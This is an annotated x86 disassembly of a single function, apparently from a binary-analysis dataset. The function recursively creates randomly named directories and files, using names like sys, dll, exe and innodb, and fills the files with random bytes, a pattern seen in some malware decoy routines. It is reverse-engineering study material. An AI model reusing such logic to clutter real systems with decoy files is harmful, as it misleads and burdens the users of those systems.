Function at 0x402dc0
Capabilities:
Check if file exists
Create directory

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x15c
cmp dword [ebp + 0xc], 1
jle 0x402dda
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
call sub.msvcrt.dll_rand
mov esi, 0x66666667
mov ebx, eax
imul esi
mov ecx, ebx
xor eax, eax
sar ecx, 0x1f
mov dword [ebp - 0x124], eax
mov esi, edx
sar esi, 2
sub esi, ecx
lea edx, [esi + esi*4]
add edx, edx
sub ebx, edx
cmp dword [ebp - 0x124], ebx
mov dword [ebp - 0x12c], ebx
nop
jge 0x402dd2
call sub.msvcrt.dll_rand
mov edi, 0x88888889
mov esi, eax
imul edi
mov eax, esi
lea ecx, [esi + edx]
sar ecx, 3
cdq
sub ecx, edx
mov ebx, ecx
shl ebx, 4
sub ebx, ecx
sub eax, ebx
cmp eax, 0xe
ja case.default.0x402e39
jmp dword [eax*4 + 0x5054c4]
mov ecx, 0x62696c7a
mov dword [ebp - 0x118], ecx
mov byte [ebp - 0x114], 0
lea esi, [esi]
lea edi, [edi]
call sub.msvcrt.dll_rand
mov dword [ebp - 0x128], esp
test al, 1
lea ecx, [ebp - 0x118]
je 0x402f30
mov esi, esp
nop
lea esi, [esi]
mov ebx, dword [ecx]
add ecx, 4
lea edx, [ebx - 0x1010101]
not ebx
and edx, ebx
mov eax, edx
and eax, 0x80808080
je 0x402e80
and edx, 0x8080
jne 0x402ea6
shr eax, 0x10
add ecx, 2
mov ebx, dword [ebp + 8]
add al, al
mov edi, ecx
sbb edi, 3
lea ecx, [ebp - 0x118]
sub edi, ecx
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
lea eax, [edi + eax + 0x3e]
and eax, 0xfffffff0
call fcn.004f1df0
lea eax, [ebp - 0x118]
mov ecx, 0x5054ae
lea ebx, [esp + 0x23]
mov dword [esp + 0xc], eax
and ebx, 0xfffffff0
mov edx, dword [ebp + 8]
mov dword [esp + 4], ecx
mov dword [esp], ebx
mov dword [esp + 8], edx
call sub.msvcrt.dll_sprintf
mov dword [esp], ebx
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x402f10
mov edx, dword [ebp + 0xc]
test edx, edx
jle 0x403218
mov esp, esi
inc dword [ebp - 0x124]
mov esi, dword [ebp - 0x12c]
cmp dword [ebp - 0x124], esi
jmp 0x402e10
mov esi, dword [ecx]
add ecx, 4
lea edx, [esi - 0x1010101]
not esi
and edx, esi
mov eax, edx
and eax, 0x80808080
je 0x402f30
and edx, 0x8080
jne 0x402f56
shr eax, 0x10
add ecx, 2
mov esi, ecx
mov ecx, dword [ebp + 8]
add al, al
sbb esi, 3
lea edx, [ebp - 0x118]
sub esi, edx
mov dword [esp], ecx
call sub.msvcrt.dll_strlen
lea eax, [esi + eax + 0x3e]
and eax, 0xfffffff0
call fcn.004f1df0
call sub.msvcrt.dll_rand
mov edi, 0x92492493
mov ebx, eax
imul edi
lea esi, [esp + 0x23]
and esi, 0xfffffff0
lea ecx, [ebx + edx]
mov dword [ebp - 0x140], eax
mov eax, ebx
sar ecx, 2
mov dword [ebp - 0x13c], edx
cdq
sub ecx, edx
lea edi, [ecx*8]
sub edi, ecx
sub eax, edi
cmp eax, 6
ja case.default.0x402fb8
jmp dword [eax*4 + 0x505500]
mov eax, 0x78636f
mov dword [ebp - 0x120], eax
lea esi, [esi]
lea ebx, [ebp - 0x118]
mov ecx, str._s_s._s
lea edi, [ebp - 0x120]
mov dword [esp + 0xc], ebx
mov dword [esp + 0x10], edi
mov edx, dword [ebp + 8]
mov dword [esp + 4], ecx
mov dword [esp], esi
mov dword [esp + 8], edx
call sub.msvcrt.dll_sprintf
mov dword [esp], esi
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
mov ebx, eax
je 0x403019
mov esp, dword [ebp - 0x128]
jmp 0x402f12
mov dword [esp], esi
mov eax, 0x5054bd
mov dword [esp + 4], eax
call sub.msvcrt.dll_fopen
test eax, eax
mov edi, eax
je 0x40300e
call sub.msvcrt.dll_rand
mov dword [ebp - 0x144], eax
mov ecx, 0x66666667
imul ecx
mov dword [ebp - 0x13c], edx
mov edx, dword [ebp - 0x13c]
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x144]
sar edx, 2
sar eax, 0x1f
sub edx, eax
mov eax, dword [ebp - 0x144]
lea ecx, [edx + edx*4]
add ecx, ecx
sub eax, ecx
shl eax, 0xa
cmp ebx, eax
jge 0x403101
mov ebx, eax
jmp 0x4030a0
mov dword [esp], edi
and edx, 0xffffff00
sub eax, edx
mov dword [esp + 8], eax
mov edx, 0x5054bf
mov dword [esp + 4], edx
call sub.msvcrt.dll_fprintf
dec ebx
je 0x403101
call sub.msvcrt.dll_rand
test eax, eax
mov edx, eax
jns 0x403080
lea edx, [eax + 0xff]
jmp 0x403080
mov eax, 0x737973
mov dword [ebp - 0x120], eax
jmp case.default.0x402fb8
mov edi, 0x706d64
mov dword [ebp - 0x120], edi
jmp case.default.0x402fb8
mov ebx, 0x6e6962
mov dword [ebp - 0x120], ebx
jmp case.default.0x402fb8
mov eax, 0x657865
jmp 0x402fc4
mov eax, 0x6c6c64
jmp 0x402fc4
mov eax, 0x746164
jmp 0x402fc4
mov dword [esp], edi
call sub.msvcrt.dll_fclose
mov dword [esp], esi
call fcn.00409060
jmp 0x40300e
mov eax, 0x786666
mov dword [ebp - 0x118], eax
jmp case.default.0x402e39
mov ebx, 0x646d6863
mov eax, 0x617461
mov dword [ebp - 0x118], ebx
mov dword [ebp - 0x114], eax
jmp case.default.0x402e39
mov edi, 0x76726473
mov dword [ebp - 0x118], edi
jmp 0x402e4b
mov edx, 0x746573
mov dword [ebp - 0x118], edx
jmp case.default.0x402e39
mov byte [ebp - 0x112], 0
mov eax, 0x6f6e6e69
mov esi, 0x6264
mov dword [ebp - 0x118], eax
mov word [ebp - 0x114], si
jmp case.default.0x402e39
mov edx, 0x6c71736d
mov dword [ebp - 0x118], edx
jmp 0x402e4b
mov edx, 0x647075
jmp 0x403156
mov edi, 0x74736f68
mov dword [ebp - 0x118], edi
jmp 0x402e4b
mov eax, 0x64637273
mov dword [ebp - 0x118], eax
jmp 0x402e4b
mov byte [ebp - 0x116], 0
mov esi, 0x7471
mov word [ebp - 0x118], si
jmp case.default.0x402e39
mov edx, 0x70323377
mov ecx, 0x6c
mov dword [ebp - 0x118], edx
mov word [ebp - 0x114], cx
jmp case.default.0x402e39
mov eax, 0x343678
jmp 0x40311b
mov eax, 0x363878
jmp 0x40311b
mov ebx, 0x6c737973
mov eax, 0x6b6e69
mov dword [ebp - 0x118], ebx
jmp 0x403136
mov dword [esp], ebx
call sub.msvcrt.dll__mkdir
mov eax, dword [ebp + 0xc]
mov dword [esp], ebx
inc eax
mov dword [esp + 4], eax
call fcn.00402dc0
jmp 0x402f10